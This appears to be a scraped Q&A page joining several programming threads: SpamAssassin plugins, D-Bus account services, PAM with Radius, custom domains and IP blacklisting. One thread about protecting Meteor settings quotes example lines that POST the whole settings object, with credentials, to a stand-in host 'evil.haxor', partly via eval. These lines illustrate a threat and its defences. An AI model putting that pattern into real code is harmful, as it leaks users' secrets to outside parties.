I've been reading on SpamAssassin for some time now and learned a lot but I cannot seem to figure out a way I cannot find a way to create a rule where a 3rd party script can be executed to for a custom rule.
THis would have to be something user based not globally.
I want to run additional verifications on domains and email addresses.
I wish to build a reputation system in which if a domain or email address are checked against the contacts list and other things.
I have have considered modifying the profile to add regex rules but that seems like a way to complicated way of doing it. A more preferred scenario would be to simply run a 3rd party script that returns the score for each domain and email address.
Out of the box, SpamAssassin has no such facility, but since you ask on a programming site, I assume you are not alien to writing some code on your own.
The plugin facility in SpamAssassin was designed for this sort of thing. You can create a piece of Perl code which gets called for each message which SpamAssassin analyzes, and you have access to everything Perl has access to.
In particular, look at the pyzor plugin which calls an external program and returns its analysis results to SpamAssassin. There's a fair amount of boilerplate there, but the part you need to start with is getting the right arguments to the helper_app_pipe_open call (on line 282 as of version 3.4.0, which is what I link to above). These things are configurable so you could perhaps even just reconfigure the path to pyzor to your own program as a proof of concept. Note that it needs to accept a check argument and some other parameters, and a message from a temporary file on its standard input.
Mail::SpamAssassin::Plugin.pm contains POD documentation for the plugin API. Other files in the module tree contain useful documentation too; in particular, you might want to refer to the general documentation in Mail::SpamAssassin.pm and Mail::SpamAssassin::Conf.pm to understand the configuration parameters you can pass to your plugin.
Out of the box, there is a new TxRep plugin that automatically recognizes senders you've seen recently. There is also a collection of whitelist and blacklist options.
If you wanted to implement something yourself, I think you'll quickly find that an exec mechanism won't scale well. Perhaps try crafting your own DNSBL instead. This can be done with custom code and any DNS server (e.g. bind, dnsmasq, etc) or with a DNS server designed for this purpose, such as RBLDNSD. The SA wiki on DnsBlocklists has directions for how to hook it into SA.
Usually, people seeking this kind of solution don't have DNSBLs configured properly. I'd take a look into that before trying to build your own project.
Related
The bigger goal:
Writing a batch user manager targeted at classroom school environments.
The problem
I want to write a user manager that uses a GUI to add, manage and delete users for classroom environments. The program I'm working on is ltsp-manager.
Up until now all the user management is done by executing bash commands. From a python script. Meaning all the GUI has to run as root and everything is handcrafted.
The goal
Create a Dbus service that handles all the account management and let the GUI run as a regular user requiring a password from time to time.
I looked around and found that in org.freedesktop.Accounts there is already a service doing a lot of the functionality I want to do. However, it also lacks some. Something that is totally missing is the management of Groups.
What is a good way to use the org.freedesktop.Accounts functionality and add some additional functions/methods?
Thoughts so far
Things that came to my mind include:
just redo everything - meaning a lot of duplicated work.
copy the interfaces and write functions that call the original ones
write a service that only implements the additional functions without touching the original ones. The client will then use the original service and the newly written one.
All my testing experiments are done with python3 and pydbus which seems to be the best choice among many.
I have never written a real world dbus service - though the experiments do show some results in d-feet. This question is not really a what do I need to type kind of question but rather a best practise question.
The best long-term answer would be to fix accountsservice upstream to implement groups support. There’s already work towards that; it just needs someone to pick it up and finish it off. accountsservice is the project which provides the canonical implementation of org.freedesktop.Accounts.
The other approaches are bad because:
just redo everything - meaning a lot of duplicated work.
As you say, this is a lot of duplicated work, and then you have to maintain it all.
copy the interfaces and write functions that call the original ones
That means you have to forever keep up with changes and additions to accountsservice.
write a service that only implements the additional functions without touching the original ones. The client will then use the original service and the newly written one.
That doesn’t come with any additional maintenance problems, but means your service won’t integrate well with accountsservice. There might be race conditions between updates on your D-Bus objects and updates on the accountsservice objects, for example. You won’t be able to share the maintenance burden of the groups code with the (many) other users of accountsservice.
I am trying to allow ssh users to be defined in Radius, but share a home directory, shell, etc. The idea is that all users share the same home directory and default shell (an application). I would like to avoid creating numerous accounts on the local machine (really a docker container) since their activity is constrained by the application. I think that I just need to replace the user database information, but I don't understand how to just override that part of the login activity. Has anyone else done this or should I be solving this a different way?
Ok, I am going to answer my own question. If you have better information, please contribute. This question might have been better in ServerFault, but as a programmer I spend more time on StackOverflow so I did not think of that.
The PAM library is useful for single sign-on, but it cannot replace the /etc/passwd file and related files. PAM and the other assets it brings in supplement the internal Linux info. So, while you can authenticate with a remote server like Radius, you will still have entries in /etc/passwd. The control flow is a list of rules in pam.conf and the top-level library works its way down the list letting each module (plug-in) do its work. Read 'man pam.conf' and 'man pam_mkhomedir' for good information on how this works.
A module implements 6 functions so it is very approachable to add new modules. See pam_deny.c for the simplest module.
Also, getpwnam is a function you may need in whatever it is you are trying to do. You can read about that using 'man getpwnam', but you probably already knew that.
I've tested, and the two things are allowed in 3rd party pacakges:
Meteor.settings.foo = "foobar" # why u change my settings?
eval("HTTP.post('evil.haxor', Meteor.settings)") # nooooo
I want to be able to protect my settings from 3rd parties.
Scenario:
I have sensitive data in my Meteor.settings file, especially in production, because that is the current best-practice place to put them.
I use a 3rd party meteor package such as iron:router, but possibly one by a lesser known author.
One of the 3rd party packages looks up my Meteor.settings and does an HTTP post on which some of my settings are sent along.
HTTP.post('http://evil.haxor', Meteor.settings) # all ur settings
Boom. Instantly I've leaked my production credentials, my payment gateway, Amazon, or whatever. Worse, as far as I know, the code that steals my settings might be loaded in and eval'd so I don't even see the string "Meteor.settings" in the source of the package.
I've tested, and the two things are allowed in 3rd party pacakges:
Meteor.settings.foo = "foobar" # why u change my settings?
eval("HTTP.post('evil.haxor', Meteor.settings)") # nooooo
I'm amenable to hacky solutions. I know the Meteor team might not address this right away, given all on their plates (Windows support, a non-Mongo DB).. I just want to be able to provide this level of security to my company, for whom I think it would concern their auditors to discover this level of openness. Otherwise I fear I'm stuck manually security auditing every package I use.
Thank you for your consideration!
Edit: I see now that the risk of a package seeing/stealing the settings is essentially the same problem as any package reading (or writing) your filesystem. And the best way to address that would be to encrypt. That's a valid proposal, which I can use immediately. However, I think there could, and should be notions of 'package-scoped' settings. Also, the dialogue with commenters made me realize that the other issue, the issue of settings being (easily) modifiable at runtime, could be addressed via making the settings object read-only, using ES5 properties.
A malicious npm package can come with native code extensions, access the filesystem directly, and in general do anything the rest of the code in the app can do.
I see 2 (partial) solutions:
set up a firewall with outbound rules and logging. Unfortunately if your application communicates with any sort of social network (facebook, twitter) then the firewall idea will not handle malware that uses twitter as a way to transmit data. But maybe it would help?
lock down the DNS resolution, provide a whitelist of DNS lookups. This way you could spot if the app starts trying to communicate with 'evil.haxor'
There are other more advanced detectors - but at some point a hacker is going to go after the other services running on the box and not try for modifying your code.
Good luck. And its good to be paranoid -- because they really are out to get you.
I'm possibly developing a web-based application that allows users to create individual pages. I would like users to be able to use their own domains/sub-domains to access the pages.
So far I've considered:
A) Getting users to forward with masking to their pages. Probably the most in-efficient option, as having used this before myself I'm pretty sure it iFrames the page (not entirely sure though).
B) Having the users download certain files, which then make calls to the server for information for their specific account settings via a user key of some sort. The most efficient in my mind at the moment, however, this requires letting users see a fair degree of source code, something I'd rather not do if possible
C) Getting the users to add a C-NAME record to their DNS settings, which is semi in-efficient (most of these users will be used to uploading files via FTP hence why B is the most efficient option), but at the same time means no source code will be seen by them.
The downside is, I have no idea how to implement C or what would be needed.
I got the idea from: http://unbounce.com/features/custom-urls/.
I'm wondering what method of the three I should use to allow custom urls for users, I would prefer to do C, but I have no idea how to implement it (I'm kind of asking how), and whether or not the time spent learning how-to/getting that kind of functionality set-up would even be worth it.
Any answers/opinions/comments would be very much appreciated :)!
Option C is called wildcard DNS: I've linked to a writeup that gives an example of how to do it using Apache. Other web server setups should be able to do this as well: for what you want it is well worth it.
Folks, we all know that IP blacklisting doesn't work - spammers can come in through a proxy, plus, legitimate users might get affected... That said, blacklisting seems to me to be an efficient mechanism to stop a persistent attacker, given that the actual list of IP's is determined dynamically, based on application's feedback and user behavior.
For example:
- someone trying to brute-force your login screen
- a poorly written bot issues very strange HTTP requests to your site
- a script-kiddie uses a scanner to look for vulnerabilities in your app
I'm wondering if the following mechanism would work, and if so, do you know if there are any tools that do it:
In a web application, developer has a hook to report an "offense". An offense can be minor (invalid password) and it would take dozens of such offenses to get blacklisted; or it can be major, and a couple of such offenses in a 24-hour period kicks you out.
Some form of a web-server-level block kicks in on before every page is loaded, and determines if the user comes from a "bad" IP.
There's a "forgiveness" mechanism built-in: offenses no longer count against an IP after a while.
Thanks!
Extra note: it'd be awesome if the solution worked in PHP, but I'd love to hear your thoughts about the approach in general, for any language/platform
Take a look at fail2ban. A python framework that allows you to raise IP tables blocks from tailing log files for patterns of errant behaviour.
are you on a *nix machine? this sort of thing is probably better left to the OS level, using something like iptables
edit:
in response to the comment, yes (sort of). however, the idea is that iptables can work independently. you can set a certain threshold to throttle (for example, block requests on port 80 TCP that exceed x requests/minute), and that is all handled transparently (ie, your application really doesn't need to know anything about it, to have dynamic blocking take place).
i would suggest the iptables method if you have full control of the box, and would prefer to let your firewall handle throttling (advantages are, you don't need to build this logic into your web app, and it can save resources as requests are dropped before they hit your webserver)
otherwise, if you expect blocking won't be a huge component, (or your app is portable and can't guarantee access to iptables), then it would make more sense to build that logic into your app.
I think it should be a combination of user-name plus IP block. Not just IP.
you're looking at custom lockout code. There are applications in the open source world that contain various flavors of such code. Perhaps you should look at some of those, although your requirements are pretty trivial, so mark an IP/username combo, and utilize that for blocking an IP for x amount of time. (Note I said block the IP, not the user. The user may try to get online via a valid IP/username/pw combo.)
Matter of fact, you could even keep traces of user logins, and when logging in from an unknown IP with a 3 strikes bad username/pw combo, lock that IP out for however long you like for that username. (Do note that a lot of ISPs share IPs, thus....)
You might also want to place a delay in authentication, so that an IP cannot attempt a login more than once every 'y' seconds or so.
I have developed a system for a client which kept track of hits against the web server and dynamically banned IP addresses at the operating system/firewall level for variable periods of time for certain offenses, so, yes, this is definitely possible. As Owen said, firewall rules are a much better place to do this sort of thing than in the web server. (Unfortunately, the client chose to hold a tight copyright on this code, so I am not at liberty to share it.)
I generally work in Perl rather than PHP, but, so long as you have a command-line interface to your firewall rules engine (like, say, /sbin/iptables), you should be able to do this fairly easily from any language which has the ability to execute system commands.
err this sort of system is easy and common, i can give you mine easily enough
its simply and briefly explained here http://www.alandoherty.net/info/webservers/
the scripts as written arn't downloadable {as no commentry currently added} but drop me an e-mail, from the site above, and i'll fling the code at you and gladly help with debugging/taloring it to your server